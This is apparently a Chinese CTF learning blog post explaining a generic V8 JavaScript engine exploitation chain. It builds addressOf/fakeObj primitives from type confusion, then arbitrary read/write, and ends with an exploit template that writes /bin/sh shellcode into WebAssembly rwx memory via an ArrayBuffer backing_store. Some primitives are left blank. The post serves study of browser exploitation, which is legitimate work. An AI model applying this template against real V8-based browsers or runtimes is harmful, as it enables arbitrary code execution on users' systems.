V8通用利用链

(咕咕咕了好久……)基础pwn暂时告一段落了,本来打算开kernel的,但XCTF见到了V8所以研究一下。配环境真坐牢……本来都配好了虚拟机不小心被我玩崩了还没备份(╯▔皿▔)╯还因为一些很屑的原因(少加了双引号(ˉ▽ˉ;)…)又花了好久再配了一遍……
ps:目前的学习按照从“0开始学V8漏洞利用”系列进行

WASM

做pwn题的时候我们的目标往往就是执行system(‘/bin/sh’),V8利用的目标就是执行任意shellcode,要达成这个目标我们就需要读写相关漏洞+一段rwx的内存
wasm可以为我们制造rwx的内存
ps:wasm无法执行shellcode(还不清楚为啥,之后再研究),所以直接写shellcode什么的别想了o(  ̄▽ ̄)ブ
pps:在别的博客里还有用常规堆题思路做的,之后再研究
所以我们的思路就是先生成一段合法的wasm再写入非法的shellcode
test.js如下:

1
2
3
4
5
6
7
8
9
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

第二个断点时vmmap一下有一段rwx的内存

变量f(函数对象)的相关信息:

经调试我们可以发现f.shared_info.data.instance=&wasmInstance(先不纠结这些属性到底是啥)
shared_info:

data:

wasmInstance:

instance:

可见rwx的地址写在instance+0x68的位置,我们要把shellcode写在这

任意读写

内存布局

test.js如下:

1
2
3
4
5
6
7
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

首先来看a的内存布局:

  • 0x142508049970-0x142508049980的部分是a的结构体

  • V8将最后一位置1表示指针,置0表示SMI当前版本的V8对地址进行了压缩,因为高32bit的地址值是一样的

  • 所以a的结构如下:

    1
    |32 bit map addr|32 bit properties addr|32 bit elements addr|32 bit length|

    elements结构内存布局如下:

  • 0x142508049960-0x142508049970的部分是elements结构

  • elements的结构如下:

    1
    |32 bit map addr|32 bit length|value|

发现elements结构之后是紧接着就是a的结构,如果让elements溢出我们就能控制a的map和length结构
b的内存:

c的内存:

c的内存和a的内存分布基本一致

任意变量地址读

JSArray用map结构来区分储存的数据类型(elements kind),如果我们将c的map地址改成a的,那么执行c[0]时就会将b的地址当成浮点数来解析(类型混淆),可以用来泄露变量地址,步骤如下:

  • 将c[0]的值设置为想要获取地址的变量,比如a
  • 通过漏洞将c的map地址改成a的
  • 读取c[0]的值,该值为a的低32bit地址
    上述步骤可被封装为addressOf函数

伪造对象

同理我们也可以把浮点型数组变成对象型数组,步骤如下:

  • 将a[0]的值设为构造的对象地址+1
  • 通过漏洞将a的map地址修改成c的
  • 获取a[0]的值
    这个过程可以被封装成fakeObj函数

任意读

构造这样一个变量:

1
2
3
4
var fake_array=[
double_array_map,
itof(0x4141414141414141n)
];

变量结构如下:

1
2
3
4
(elements)
|32 bit map addr|32 bit length|64 bit double_array_map|64 bit 0x4141414141414141n|
(fake_array)
|32 bit map addr|32 bit properties addr|32 bit elements|32 bit length|

可以用addressOf获取fake_array地址,-0x10得到fake_object地址(用double_array_map伪造map和properties,用itof(0x4141414141414141)伪造elements和length),然后使用fakeObj函数将浮点数组伪造成对象数组
以上过程可以打包成任意读函数read64:

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,itof(0x4141414141414141n)];

function read64_addr(addr)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=itof(addr-8n+1n);
return fake_object[0];
}

任意写

同理也能构造任意写函数write64:

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,itof(0x4141414141414141n)];

function write64_addr(addr,data)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=itof(addr-8n+1n);
fake_object[0]=data;
}

写shellcode

但上述任意写没法把shellcode写入rwx区域,因为写入的地址=实际地址-0x8+0x1,还需要伪造64bit的map和length,但需要写入shellcode的地址是rwx地址段的起始位置,所以我们无法伪造map和length(我的理解是正常的elements结构有map和length且正常改写需要合法的这两个结构),需要另辟蹊径
测试代码test.js如下:

1
2
3
4
5
6
7
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

data_buf变量的结构如下:

再看看backing_store字段的值:

double型的2.0的十六进制表示就是0x4000000000000000,没有map和length,我们可以利用此类型将shellcode写入rwx内存
看看data_buf的内存布局:

backing_store字段在data_buf+0x1c
将上述步骤封装成copy_shellcode_to_rwx函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

类型混淆类漏洞模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);


//32bit整型和64bit浮点类型转化
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}

//64bit整型和64bit浮点类型转化
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}


function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
?
}

function addressOf(obj_to_leak)
{
?
}

function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
array_map,
itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

V8通用利用链
http://akaieurus.github.io/2023/04/12/V8通用利用链/
作者
Eurus
发布于
2023年4月12日
许可协议